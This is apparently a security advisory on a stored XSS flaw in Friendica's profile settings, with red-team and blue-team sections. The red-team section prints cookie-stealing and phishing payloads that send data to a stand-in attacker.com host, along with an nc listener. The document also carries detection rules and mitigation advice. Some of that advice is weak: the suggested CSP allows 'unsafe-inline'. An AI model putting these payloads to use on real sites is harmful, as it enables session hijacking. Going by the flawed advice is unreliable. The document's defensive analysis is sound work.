CVE-2024-39094

Executive Summary

CVE-2024-39094 is a stored Cross-Site Scripting (XSS) vulnerability in Friendica version 2024.03, specifically within the settings/profile page. The flaw allows an authenticated attacker to inject arbitrary JavaScript code via the homepage, xmpp, and matrix parameters. When an administrator or other user views the attacker's profile, the injected script executes in their browser session, potentially leading to session hijacking, data theft, or further compromise of the Friendica instance. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on enriched intelligence, a more realistic score is 5.4 (Medium) due to the requirement for user interaction and low impact on confidentiality and integrity. No public exploit code or patch is currently available, making this a high-priority issue for Friendica administrators.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). Friendica is a PHP-based social networking platform typically deployed via Git or manual installation. The risk is limited to the application layer and does not extend to upstream dependencies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can reach the vulnerable endpoint over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
• Privileges Required (PR): Low (L) – The attacker must have a valid user account.
• User Interaction (UI): Required (R) – The victim must view the attacker's profile.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Overall CVSS Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires an authenticated user and victim interaction, but the potential for session hijacking and phishing makes it a credible threat.

Deep Dive & Mechanics

The vulnerability resides in the profile settings page (/settings/profile) of Friendica 2024.03. The homepage, xmpp, and matrix fields are not properly sanitized before being stored and later rendered in the user's profile view. When an attacker submits malicious JavaScript code in any of these fields, the payload is stored in the database. Subsequently, when any user (including administrators) visits the attacker's profile page, the unsanitized input is rendered in the HTML context, causing the browser to execute the injected script.

The root cause is the lack of output encoding or input validation for these specific fields. Friendica likely uses a templating engine that does not automatically escape HTML in these fields, or the escaping is bypassed due to the field type (e.g., URL fields may be treated as safe).

Attack Flow:

1. Attacker registers or logs into Friendica.
2. Attacker navigates to /settings/profile.
3. Attacker injects a payload like <script>alert('XSS')</script> into the homepage field.
4. Attacker saves the profile.
5. Victim (e.g., admin) views the attacker's profile.
6. The payload executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Friendica 2024.03): The vulnerable code likely exists in the profile template or the controller that renders the profile. A simplified example:

// In profile template (e.g., profile.tpl)
<div class="profile-homepage">
    <a href="<?php echo $homepage; ?>">Homepage</a>
</div>

The $homepage variable is output directly without escaping.

Patched Code (Hypothetical): The fix would involve proper output encoding using a function like htmlspecialchars() or the framework's built-in escaping.

// Patched profile template
<div class="profile-homepage">
    <a href="<?php echo htmlspecialchars($homepage, ENT_QUOTES, 'UTF-8'); ?>">Homepage</a>
</div>

Alternatively, the input should be validated to ensure it is a valid URL and strip any script tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Friendica 2024.03 instance (e.g., Docker container or local installation).
• A valid user account on the instance.

Exploitation Steps:

1. Login to Friendica as an attacker user.
2. Navigate to /settings/profile.
3. Inject payload into the homepage field. Example payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Wait for an admin or other user to view the attacker's profile.
6. Capture the exfiltrated cookie on your attacker-controlled server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Phishing: <script>document.write('<form action="https://attacker.com/login" method="POST"><input name="user"><input type="password" name="pass"><input type="submit"></form>')</script>

Blue Team

Detection:

• Monitor logs for unusual profile update requests containing script tags or suspicious URLs.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search the database for stored XSS payloads in the profile table, specifically in homepage, xmpp, and matrix columns.
• Look for HTTP requests to /settings/profile with homepage, xmpp, or matrix parameters containing <script> or onerror attributes.

Lab Setup:

1. Deploy Friendica 2024.03 using Docker:

   docker run -d -p 8080:80 friendica:2024.03
   

2. Access the instance and create two accounts: attacker and victim.
3. Follow the Red Team steps to inject the payload.
4. Use a tool like nc -lvnp 8080 to listen for exfiltrated data.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /settings/profile with parameters containing <script> or onerror.
  • Outbound HTTP requests from the Friendica server to unknown external IPs (data exfiltration).
• File IOCs:
  • Modified entries in the profile table of the Friendica database containing JavaScript code.
• Log IOCs:
  • Access logs showing repeated profile views by the same user (victim) after a profile update.
  • Error logs with JavaScript syntax errors if the payload is malformed.

Detection Engineering

YARA Rule

rule CVE_2024_39094_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Friendica profile fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39094"
    strings:
        $payload1 = /homepage.*<script/i
        $payload2 = /xmpp.*<script/i
        $payload3 = /matrix.*<script/i
        $payload4 = /onerror\s*=/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Friendica Profile XSS Attempt
id: 8a3f2c1e-5b7d-4a9f-8c6e-1d2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-39094 by injecting XSS payloads into profile fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/settings/profile'
        cs-uri-query|re:
            - 'homepage=.*<script'
            - 'xmpp=.*<script'
            - 'matrix=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in profile fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-39094 Friendica Profile XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/settings/profile"; http_uri;
    pcre:"/(homepage|xmpp|matrix)=.*<script/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable profile fields for homepage, xmpp, and matrix until a patch is available. This can be done by modifying the template or using a WAF rule to block these parameters.
2. Implement a WAF rule to block requests containing <script in the homepage, xmpp, or matrix parameters.
3. Add CSP headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

   Note: unsafe-inline may be required for Friendica's functionality, but it should be removed if possible.

Long-Term Fix:

• Apply input validation and output encoding for all user-supplied fields. Use a library like HTML Purifier or the framework's built-in escaping.
• Upgrade to a patched version of Friendica once available. Monitor the official repository for updates.

Workaround:

• Manually patch the template file (e.g., view/templates/profile.tpl) to escape the output:

  <?php echo htmlspecialchars($homepage, ENT_QUOTES, 'UTF-8'); ?>
  

Valters IT
Securing digital frontiers, one CVE at a time.